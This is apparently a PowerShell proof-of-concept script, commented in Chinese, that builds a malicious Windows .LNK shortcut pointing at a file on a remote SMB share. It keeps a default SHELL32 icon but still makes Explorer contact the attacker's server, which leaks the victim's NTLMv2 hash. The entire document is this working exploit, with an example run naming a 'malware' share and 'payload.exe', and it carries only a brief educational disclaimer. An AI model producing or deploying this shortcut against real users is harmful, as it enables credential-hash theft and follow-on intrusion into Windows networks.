1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
|
<#
.SYNOPSIS
创建恶意LNK文件,触发SMB NTLMv2-SSP哈希泄露。
此代码仅用于教育和研究目的。
作者不对此代码的任何误用负责。
.DESCRIPTION
此脚本生成指向远程SMB托管二进制文件的.LNK快捷方式。
该快捷方式使用默认的Windows图标(SHELL32.dll),但仍会强制资源管理器
从远程二进制文件获取PE图标,从而触发身份验证。
.PARAMETER path
保存LNK文件的本地路径(例如,C:\Users\User\Desktop)。
.PARAMETER ip
托管二进制文件的远程SMB服务器的IP地址或主机名。
.PARAMETER share
SMB服务器上存储二进制文件的共享文件夹。
.PARAMETER file
二进制文件的名称(例如,payload.exe)。
.EXAMPLE
.\poc.ps1 -path "C:\Temp" -ip "192.168.1.10" -share "malware" -file "payload.exe"
#>
param(
[Parameter(Mandatory=$true)]
[string]$path, # -path
[Parameter(Mandatory=$true)]
[string]$ip, # -ip
[Parameter(Mandatory=$true)]
[string]$share, # -share
[Parameter(Mandatory=$true)]
[string]$file # -file
)
# 构建文件路径
$shortcutPath = Join-Path $path "poc.lnk"
$targetPath = "\\$ip\$share\$file"
$iconLocation = "C:\Windows\System32\SHELL32.dll"
# 创建LNK文件
$wShell = New-Object -ComObject WScript.Shell
$shortcut = $wShell.CreateShortcut($shortcutPath)
$shortcut.TargetPath = $targetPath
$shortcut.IconLocation = $iconLocation
$shortcut.Save()
Write-Output "快捷方式创建于:$shortcutPath"
Write-Output "目标路径:$targetPath"
|